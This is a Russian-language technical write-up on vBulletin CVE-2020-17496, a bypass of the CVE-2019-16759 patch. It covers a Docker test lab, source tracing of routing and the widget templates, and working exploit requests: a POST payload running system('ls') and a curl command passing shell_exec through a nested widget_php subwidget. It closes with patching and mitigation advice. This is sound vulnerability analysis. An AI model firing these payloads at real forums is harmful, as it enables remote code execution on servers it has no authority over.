Год назад я писал об уязвимости в форуме vBulletin, которая давала любому пользователю возможность выполнять произвольные команды в системе и была больше похожа на бэкдор. Тогда разработчики оперативно исправили баг, и вот в конце августа 2020 года была найдена возможность (уязвимость vBulletin CVE-2020-17496) обойти патч.
vBulletin — это продвинутый форумный движок, который позволяет множеству пользователей общаться между собой. Из-за стремительного роста популярности мессенджеров форумы в 2020 году уже не так актуальны, но если и попадаются во время тестирования, то в двух случаях из трех это будет именно vBulletin.
Уязвимость vBulletin CVE-2020-17496
Вкратце баг заключается в следующем: виджет tabbedcontainer_tab_panel разрешает загружать дочерние виджеты и передавать им произвольные параметры. С помощью специально сформированного запроса злоумышленник может вызвать widget_php
и удаленно выполнить произвольный код на PHP.
Уязвимость получила статус критической и была срочно исправлена разработчиками.
Баг обнаружил Амир Этемадие (Amir Etemadieh), более известный как @Zenofex. Уязвимости присвоен номер CVE-2020-17496. Проблема существует в vBulletin с версии 5.5.4 до 5.6.2. Эксплуатация возможна из-за неполного исправления уязвимости CVE-2019-16759.
Сегодня я рассмотрю, как vBulletin работает с роутингом запросов, как работают виджеты и их шаблоны, и, конечно же, разберем детали уязвимости и проэксплуатируем систему.
Стенд
Для тестового окружения, как всегда, будем использовать Docker. Сначала создадим контейнер для базы данных. Я воспользуюсь MySQL.
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="JS7G5yUmaV" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Затем запустим контейнер, на котором будет располагаться веб-сервер и сам форум. Не забываем слинковать его с БД.
docker run --rm -ti --link=mysql --name=vbweb --hostname=vbweb -p80:80 debian /bin/bash
В качестве сервера я буду использовать Apache. Поэтому установим его и PHP с необходимыми модулями.
apt update && apt install -y apache2 php nano unzip netcat php-mysqli php-xml php-gd
Включаем модуль mod-rewrite и запускаем Apache.
a2enmod rewrite service apache2 start
Теперь нужно установить vBulletin. Продукт коммерческий, и я здесь не стану рассматривать, как его получить. Все тесты будем проводить на последней уязвимой версии — 5.5.6. Распаковываем ее в директорию /var/www/html
и устанавливаем.

Если ты хочешь вместе со мной более подробно рассмотреть уязвимость и покопаться в сорцах, то неплохо бы настроить отладку. Я буду использовать связку Xdebug + PhpStorm.
Устанавливаем и активируем Xdebug. Делать это лучше после того, как vBulletin будет установлен, у меня были проблемы во время инсталляции, пришлось отключить.
apt update && apt install -y php-xdebug phpenmod xdebug
Включаем удаленную отладку и указываем IP-адрес сервера. Обрати на него внимание, а также на пути к файлам — у тебя это все может быть другим.
echo "xdebug.remote_enable=1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.3/apache2/conf.d/20-xdebug.ini
Теперь перезагружаем веб-сервер.
service apache2 restart
В PhpStorm включаем ожидание коннекта от отладчика. Добавляем параметр XDEBUG_SESSION_START=phpstorm
к запросу, если хотим, чтобы дебаггер сработал.

Стенд готов, и можно переходить к разбору уязвимости.
Обработка URI
Сначала посмотрим, как vBulletin обрабатывает запросы пользователя, а конкретно роуты.
.htaccess
01: <IfModule mod_rewrite.c> 02: RewriteEngine On ... 39: RewriteCond %{REQUEST_FILENAME} !-f 40: RewriteCond %{REQUEST_FILENAME} !-d 41: RewriteRule ^(.*)$ index.php?routestring=$1 [L,QSA]
Проверяется, существует ли файл, и если нет, то указанный URI передается в качестве параметра routestring
.
Как и большинство современных фреймворков, форум поддерживает автозагрузку классов через spl_autoload_register
.
index.php
33: require_once('includes/vb5/autoloader.php'); 34: vB5_Autoloader::register(dirname(__FILE__));
includes/vb5/autoloader.php
13: abstract class vB5_Autoloader 14: { 15: protected static $_paths = array(); 16: protected static $_autoloadInfo = array(); 17: 18: public static function register($path) 19: { 20: self::$_paths[] = (string) $path . '/includes/'; // includes 21: 22: spl_autoload_register(array(__CLASS__, '_autoload')); 23: }
Затем начинается проверка переданного роута. Вызывается метод isQuickRoute
.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute())
includes/vb5/frontend/applicationlight.php
079: public static function isQuickRoute() 080: { ... 091: foreach (self::$quickRoutePrefixMatch AS $prefix => $route) 092: { 093: if (substr($_REQUEST['routestring'], 0, strlen($prefix)) == $prefix) 094: { 095: return true; 096: } 097: } 098: 099: return false; 100: }
В переменной $quickRoutePrefixMatch
хранятся префиксы роутов, которые должны обрабатываться при помощи quickRoute
.
ajax/apidetach ajax/api ajax/render

Возвращение к истокам. Работа с виджетами, CVE-2019-16759 и ее патч
Обратимся к эксплоиту для прошлогодней уязвимости CVE-2019-16759.
POST /index.php HTTP/1.1 Host: vb.vh Content-Type: application/x-www-form-urlencoded Content-Length: 71 Connection: close routestring=ajax/render/widget_php&widgetConfig[code]=system('ls');
Здесь в качестве routestring
передается ajax/render/widget_php
. Префикс как раз подходит под условие quickRoute
. После этого вызывается $app->execute()
.
index.php
37: if (vB5_Frontend_ApplicationLight::isQuickRoute()) 38: { ... 41: if ($app->execute())
Это главный метод, который передает управление на нужные участки кода, чтобы обработать запрос пользователя. В нашем случае вызывается обработчик callRender
. Он запускает формирование ответа пользователю.
includes/vb5/frontend/applicationlight.php
161: public function execute() ... 181: $serverData = array_merge($_GET, $_POST); 182: 183: if (!empty($this->application['handler']) AND method_exists($this, $this->application['handler'])) 184: { 185: $app = $this->application['handler']; 186: call_user_func(array($this, $app), $serverData);

includes/vb5/frontend/applicationlight.php
282: protected function callRender($serverData) 283: { 284: $routeInfo = explode('/', $serverData['routestring']);
Далее в коде идет первый патч, который исправляет прошлогоднюю RCE.
includes/vb5/frontend/applicationlight.php
291: $templateName = $routeInfo[2]; 292: if ($templateName == 'widget_php') 293: { 294: $result = array( 295: 'template' => '', 296: 'css_links' => array(), 297: ); 298: }
Если имя запрошенного шаблона widget_php
, то возвращается пустой массив. Пришло время поговорить о виджетах и их шаблонах. В vBulletin есть система виджетов (модулей), которые могут отображать разную информацию на сайте. Таким образом, страница сайта может состоять из некоторого количества таких вот блоков-виджетов со своими стилями и данными. Похожая штука сейчас есть в каждой уважающей себя CMS, так как это удобный и гибкий инструмент кастомизации.
Шаблоны всех виджетов описываются в файле vbulletin-style.xml
. При установке форума они записываются в базу данных.
core/install/vbulletin-style.xml
<templategroup name="Module"> <template name="widget_aboutauthor" templatetype="template" date="1452807873" username="vBulletin" version="5.2.1 Alpha 2"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> ... <template name="widget_activate_email" templatetype="template" date="1458863949" username="vBulletin" version="5.2.2 Alpha 3"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)">
Шаблоны не написаны на чистом PHP, а используют свой синтаксис, который сначала обрабатывается шаблонизатором. Он возвращает результат как строку кода на PHP, который затем проходит процесс «рендеринга». Во время этого данные попадают в функцию eval
.
Так вот, среди вороха этих виджетов имеется widget_php
. Этот модуль позволяет отображать результаты выполнения произвольного кода на PHP.
core/install/vbulletin-style.xml
<template name="widget_php" templatetype="template" date="1569453621" username="vBulletin" version="5.5.5 Alpha 4"><![CDATA[<vb:if condition="empty($widgetConfig) AND !empty($widgetinstanceid)"> {vb:data widgetConfig, widget, fetchConfig, {vb:raw widgetinstanceid}} </vb:if> <vb:if condition="!empty($widgetConfig)"> {vb:set widgetid, {vb:raw widgetConfig.widgetid}} {vb:set widgetinstanceid, {vb:raw widgetConfig.widgetinstanceid}} </vb:if> ... {vb:template module_title, widgetConfig={vb:raw widgetConfig}, show_title_divider=1, can_use_sitebuilder={vb:raw user.can_use_sitebuilder}} <div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> ... {vb:phpeval {vb:raw widgetConfig.code}} ... </vb:if> </div> </div>]]></template>
Здесь нас встречает еще одно последствие патча уязвимости. Обрати внимание на атрибут version
. Это версия последнего обновления шаблона (5.5.5 Alpha 4). До патча часть кода с выполнением PHP выглядела несколько иначе.
vBulletin 5.5.3/core/install/vbulletin-style.xml
<div class="widget-content"> <vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']"> {vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} {vb:raw $evaledPHP} <vb:else />
Об этом поговорим немного позже, здесь лишь осталось сказать, что с шаблонами работает класс vB_Template
.
Теперь возвращаемся к эксплоиту CVE-2019-16759. Предположим, что у нас непатченная версия форума и скрипт выполняется дальше.
includes/vb5/frontend/applicationlight.php
301: $this->router = new vB5_Frontend_Routing(); 302: $this->router->setRouteInfo(array( 303: 'action' => 'actionRender', 304: 'arguments' => $serverData, 305: 'template' => $templateName, ... 310: 'queryParameters' => $_GET, 311: )); 312: Api_InterfaceAbstract::setLight(); 313: $result = vB5_Template::staticRenderAjax($templateName, $serverData);
Теперь управление передается в класс vB5_Template
. Вызывается метод staticRenderAjax
, а из него попадаем в более общий staticRender
.
includes/vb5/template.php
16: class vB5_Template 17: { ... 731: public static function staticRenderAjax($templateName, $data = array()) 732: { 733: $rendered = self::staticRender($templateName, $data, true, true); ... 737: return array( 738: 'template' => $rendered, 739: 'css_links' => $css, 740: );
Следующий шаг — это сопоставление переменных в шаблоне виджета с теми, что были переданы в запросе пользователем. Напоминаю, что я передавал параметр widgetConfig[code]=system('ls');
.
includes/vb5/template.php
703: public static function staticRender($templateName, $data = array(), $isParentTemplate = true, $isAjaxTemplateRender = false) 704: { ... 710: $templater = new vB5_Template($templateName); 711: 712: foreach ($data AS $varname => $value) 713: { 714: $templater->register($varname, $value); 715: }

core/install/vbulletin-style.xml
{vb:phpeval {vb:raw widgetConfig.code}}
После подгрузки необходимых классов мы попадаем в метод рендеринга шаблона.
includes/vb5/template.php
717: $core_path = vB5_Config::instance()->core_path; 718: vB5_Autoloader::register($core_path); 719: 720: $result = $templater->render($isParentTemplate, $isAjaxTemplateRender);
Здесь мы встречаем очередную часть кода, которая патчит уязвимость, — метод cleanRegistered
.
includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false) 342: { ... 350: if($isParentTemplate) 351: { 352: $this->cleanRegistered(); 353: }
includes/vb5/template.php
128: private function cleanRegistered() 129: { 130: $disallowedNames = array('widgetConfig'); 131: foreach($disallowedNames AS $name) 132: { 133: unset($this->registered[$name]); 134: unset(self::$globalRegistered[$name]); 135: } 136: }
Здесь из зарегистрированных переменных шаблона удаляется widgetConfig
, чтобы нельзя было напрямую из запроса изменять конфигурацию виджета. Как раз через эту переменную я передаю пейлоад на PHP.

Предположим, что этого метода у нас нет. Дальше инициализируется кеш vBulletin, и управление переходит к getTemplate
.
includes/vb5/template.php
391: $templateCache = vB5_Template_Cache::instance(); 392: $templateCode = $templateCache->getTemplate($this->template);
includes/vb5/template/cache.php
177: public function getTemplate($templateId) 178: { 179: 180: if (is_array($templateId)) 181: { 182: return $this->fetchTemplate($templateId); 183: } 184: 185: if (!isset($this->cache[$templateId])) 186: { 187: $this->fetchTemplate($templateId); 188: } 189: 190: if (isset($this->cache[$templateId])) 191: { 192: return $this->cache[$templateId]; 193: }
Этот метод сначала пытается найти уже сгенерированный код шаблона в кеше, и если такового не обнаруживается, то в дело вступает fetchTemplate
.
includes/vb5/template/cache.php
207: protected function fetchTemplate($templateName) 208: { ... 216: $method = 'fetch'; 217: $arguments = array('name' => $templateName); 218: } .. 224: $response = Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments);
Вся магия происходит в этом вызове:
Api_InterfaceAbstract::instance()->callApi('template', $method, $arguments)
Из псевдокода шаблона получается готовый код на PHP.
includes/api/interface/collapsed.php
084: public function callApi($controller, $method, array $arguments = array(), $useNamedParams = false, $byTemplate = false) 085: { ... 101: $result = call_user_func_array(array(&$c, $method), $arguments);
core/vb/api/template.php
19: class vB_Api_Template extends vB_Api 20: { ... 49: public function fetch($template_name, $styleid = -1) 50: { 51: return $this->library->fetch($template_name, $styleid); 52: }
core/vb/library/template.php
19: class vB_Library_Template extends vB_Library 20: { ... 31: public function fetch($template_name, $styleid = -1, $nopermissioncheck = false) 32: { ... 50: $templates = $this->fetchBulk(array($template_name), $styleid, 'compiled', $nopermissioncheck);

В методе fetchBulk
шаблон виджета подгружается из базы данных.

core/vb/library/template.php
68: public function fetchBulk($template_names, $styleid = -1, $type = 'compiled', $nopermissioncheck = false) 69: { ... 121: if (!empty($templateids)) 122: { 123: $result = vB::getDbAssertor()->select('template', array('templateid' => $templateids), false, 124: array('title', 'textonly', 'template_un', 'template')); 125: 126: foreach ($result AS $template) 127: { 128: if ($type == 'compiled') 129: { 130: $response[$template['title']] = $this->getTemplateReturn($template); 131: self::$templatecache[$template['title']] = $response[$template['title']]; 132: }
Результат записывается в кеш.
includes/vb5/template/cache.php
227: if (is_array($response) AND isset($response['textonly'])) 228: { ... 252: else ... 253: { 257: $response = str_replace('vB_Template_Runtime', 'vB5_Template_Runtime', $response); 258: $this->cache[$templateName] = $response;
В случае с виджетом widget_php
прошедший через шаблонизатор код выглядит так.
widget_php_rendered
01: $final_rendered = '' . ''; if (empty($widgetConfig) AND !empty($widgetinstanceid)) { 02: $final_rendered .= ' 03: ' . ''; $widgetConfig = vB5_Template_Runtime::parseData('widget', 'fetchConfig', $widgetinstanceid); $final_rendered .= '' . ' 04: '; 05: } else { 06: $final_rendered .= ''; 07: }$final_rendered .= '' . ' ... 20: ' . vB5_Template_Runtime::includeTemplate('module_title',array('widgetConfig' => $widgetConfig, 'show_title_divider' => '1', 'can_use_sitebuilder' => $user['can_use_sitebuilder'])) . ' ... 22: <div class="widget-content"> 23: ' . ''; if (!empty($widgetConfig['code']) AND !vB::getDatastore()->getOption('disable_php_rendering')) { 24: $final_rendered .= ' 25: ' . '' . ' 26: ' . vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'] . '') . ' 27: ';

В строке 26 можно увидеть конструкцию vB5_Template_Runtime::evalPhp
. Однако до патча эта часть кода выглядела несколько иначе. Как я упоминал, сам шаблон виджета имел другой вид.
vBulletin 5.5.3/core/install/vbulletin-style.xml
{vb:action evaledPHP, bbcode, evalCode, {vb:raw widgetConfig.code}} <vb:else />
Эта конструкция обрабатывалась контроллером vB5_Frontend_Controller_Bbcode
. В итоге вызывался обычный eval
.
vBulletin 5.5.3/includes/vb5/frontend/controller/bbcode.php
013: class vB5_Frontend_Controller_Bbcode extends vB5_Frontend_Controller 014: { ... 224: function evalCode($code) 225: { 226: ob_start(); 227: eval($code); 228: $output = ob_get_contents(); 229: ob_end_clean(); 230: return $output; 231: }
В новой версии форума разработчики пересмотрели логику работы виджета. Добавили другой метод — vB5_Template_Runtime::evalPhp
, который, по сути, также выполняет код, переданный в параметре widgetConfig['code']
, с той лишь разницей, что сначала проверяет имя шаблона, где происходит попытка вызвать метод. И если он отличается от widget_php
, то возвращается пустая строка.
includes/vb5/template/runtime.php
1992: public static function evalPhp($code) 1993: { ... 1996: if (self::currentTemplate() != 'widget_php') 1997: { 1998: return ''; 1999: } 2000: ob_start(); 2001: eval($code); 2002: $output = ob_get_contents(); 2003: ob_end_clean(); 2004: return $output; 2005: }
Такое решение должно усилить безопасность и запретить любым другим шаблонам передавать потенциально небезопасные данные в функцию eval
.
После этого небольшого отступления возвращаемся к выполнению скрипта. Если код виджета успешно получен, то передаем его на выполнение.
includes/vb5/template.php
392: $templateCode = $templateCache->getTemplate($this->template); ... 400: eval($templateCode); ... 444: vB5_Template_Runtime::endTemplate(); ... 452: return $final_rendered;

Пейлоад отрабатывает, и в ответе от сервера можно видеть результат выполнения функции system('ls')
.

Таким образом, возможность выполнять код через widget_php
осталась, только теперь атакующий не может делать это напрямую. Это приводит нас к поиску обходных путей и новой уязвимости.
Детали CVE-2020-17496
Хочу обратить внимание, что виджеты не только могут не быть самостоятельными элементами, но и бывают вложенными. В один виджет может быть вложено несколько дочерних. То есть можно обрабатывать и отображать результаты работы других виджетов. Такая логика работы отлично вписывается в идею обхода ограничений, которые были добавлены патчем для CVE-2019-16759. Нужно только найти виджет, в шаблоне которого будет возможность вызывать дочерние. И Амир обнаружил такой — widget_tabbedcontainer_tab_panel
.
core/install/vbulletin-style.xml
<template name="widget_tabbedcontainer_tab_panel" templatetype="template" date="1532130449" username="vBulletin" version="5.4.4 Alpha 2"><![CDATA[{vb:set panel_id, {vb:concat {vb:var id_prefix}, {vb:var tab_num}}}
Виджет обрабатывает массив subWidgets
, в котором ищет ключ template
и подгружает шаблон указанного в нем виджета.
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget"> -- {vb:raw subWidget.template} </vb:each>
А с помощью ключа config
можно передавать параметры в дочерний шаблон (обрати внимание на атрибут widgetConfig).
core/install/vbulletin-style.xml
<vb:each from="subWidgets" value="subWidget"> {vb:template {vb:raw subWidget.template}, widgetConfig={vb:raw subWidget.config}, widgetinstanceid={vb:raw subWidget.widgetinstanceid}, widgettitle={vb:raw subWidget.title}, tabbedContainerSubModules={vb:raw subWidget.tabbedContainerSubModules}, product={vb:raw subWidget.product} } </vb:each>
Давай проверим это на каком-нибудь простеньком виджете.
core/install/vbulletin-style.xml
<template name="widget_search2_viewall_link__searchresults" templatetype="template" date="1504914629" username="vBulletin" version="5.3.4 Alpha 2"><![CDATA[<a href="{vb:url 'search'}?r={vb:raw nodes.resultId}" class="b-button"> <vb:if condition="!empty($widgetConfig['view_all_text'])"> {vb:var widgetConfig.view_all_text} <vb:else /> {vb:phrase view_all} </vb:if> </a>]]></template>
Здесь в качестве параметра можно передать view_all_text
. Этот текст будет отображен в шаблоне как текст ссылки. Отправляем запрос.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel?XDEBUG_SESSION_START=phpstorm" -s -X POST -d 'subWidgets[0][template]=widget_search2_viewall_link__calendar&subWidgets[0][config][view_all_text]=HELLOTHERE!'
При рендеринге widget_tabbedcontainer_tab_panel
в том месте, где будет дочерний виджет, вставляется плейсхолдер. Шаблон приобретает следующий вид.
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- ##template_widget_search2_viewall_link__calendar_0## --> </div>
Затем вызывается метод replacePlaceholders
, который, как видно из названия, проходит по шаблону, ищет плейсхолдеры, вызывает необходимые модули и вставляет результаты их работы в нужное место.
includes/vb5/template.php
421: // always replace placeholder for templates, as they are process by levels 422: $templateCache->replacePlaceholders($final_rendered);

Здесь используется точно такой же набор вызовов. Метод fetchTemplate
получает шаблон виджета.
includes/vb5/template/cache.php
103: public function replacePlaceholders(&$content) 104: { 105: // This function procceses subtemplates by level 106: 107: $missing = array_diff(array_keys($this->pending), array_keys($this->cache)); 108: if (!empty($missing)) 109: { 110: $this->fetchTemplate($missing); 111: }
Затем в него передаются переменные. Так параметры из нашего POST-запроса попадают в шаблон.
includes/vb5/template/cache.php
125: foreach ($levelPending as $templateName => $templates) 126: { 127: foreach ($templates as $placeholder => $templateArgs) 128: { 129: $templater = new vB5_Template($templateName); 130: $this->registerTemplateVariables($templater, $templateArgs);

И снова рендеринг, но уже дочернего модуля.
includes/vb5/template/cache.php
132: try 133: { 134: $replace = $templater->render(false);
Таким образом, та часть патча, где проверяется имя модуля, остается далеко позади.
includes/vb5/frontend/applicationlight.php
292: if ($templateName == 'widget_php') 293: { 294: $result = array( 295: 'template' => '', 296: 'css_links' => array(), 297: );
Но это еще не все, так как в этот раз и в ветку с методом cleanRegistered
мы не попадаем. Это происходит из-за того, что вызов render
был инициирован не родительским методом и переменная isParentTemplate
установлена в false
.

includes/vb5/template.php
341: public function render($isParentTemplate = true, $isAjaxTemplateRender = false) 342: { ... 350: if($isParentTemplate) 351: { 352: $this->cleanRegistered();
Это значит, что widgetConfig
будет в целости и сохранности. Еще одна часть фикса уязвимости миновала.
Дочерний виджет отрабатывает, и результат добавляется в родительский.
includes/vb5/template/cache.php
171: $content = str_replace($placeholder, $replace, $content);

На выходе получается что-то вроде такого:
<div id="" class="h-clearfix js-show-on-tabs-create h-hide"> <!-- BEGIN: widget_search2_viewall_link__calendar --><a href="!!VB:URL1284a43c8c1d5b8763560fbb7e88642e!!?searchJSON=" class="b-button"> HELLOTHERE </a><!-- END: widget_search2_viewall_link__calendar --> </div>

Но это всё игрушки. Теперь пора взяться за серьезные вещи. Берем прошлогодний эксплоит и переделываем его прямой вызов на дочерний другого виджета.
subWidgets[0][template]=widget_php subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;
Отправляем полученный результат на widget_tabbedcontainer_tab_panel
.
curl "http://vb.vh/ajax/render/widget_tabbedcontainer_tab_panel" -s -X POST -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec("uname -a"); exit;'
В ответ получаем результат выполненной на сервере команды.

Демонстрация уязвимости (видео)
Выводы
Сегодня мы затронули разные аспекты работы форумного движка vBulletin. Посмотрели на реализацию механизма виджетов и на их слабые стороны. На самом деле текущая реализация вызывает много вопросов с точки зрения безопасности. Парсинг псевдокода в PHP и выполнение его через функцию eval создает много потенциально узких мест. Например, любая неотфильтрованная или некорректно отфильтрованная переменная в шаблоне приведет к еще одной RCE. Нужно внимательно следить за корректностью формирования кода шаблона, фильтрация XSS превращается в настоящую головную боль.
Сейчас баг исправлен разработчиками, так что, если ты админишь форум на этом движке, спеши обновиться или установить патчи.
Как временную меру могу посоветовать отключить рендеринг PHP в виджетах. Как ты, возможно, заметил, в шаблоне встречалась проверка опции disable_php_rendering
.
<vb:if condition="!empty($widgetConfig['code']) AND !$vboptions['disable_php_rendering']">
Для этого нужно зайти панель администратора, в раздел основных настроек, и включить опцию Disable PHP, Static HTML, and Ad Module rendering.

Это, конечно, может поломать что-то на твоем форуме, зато его не поломает кто-то со стороны. По крайней мере, не с помощью этого эксплоита!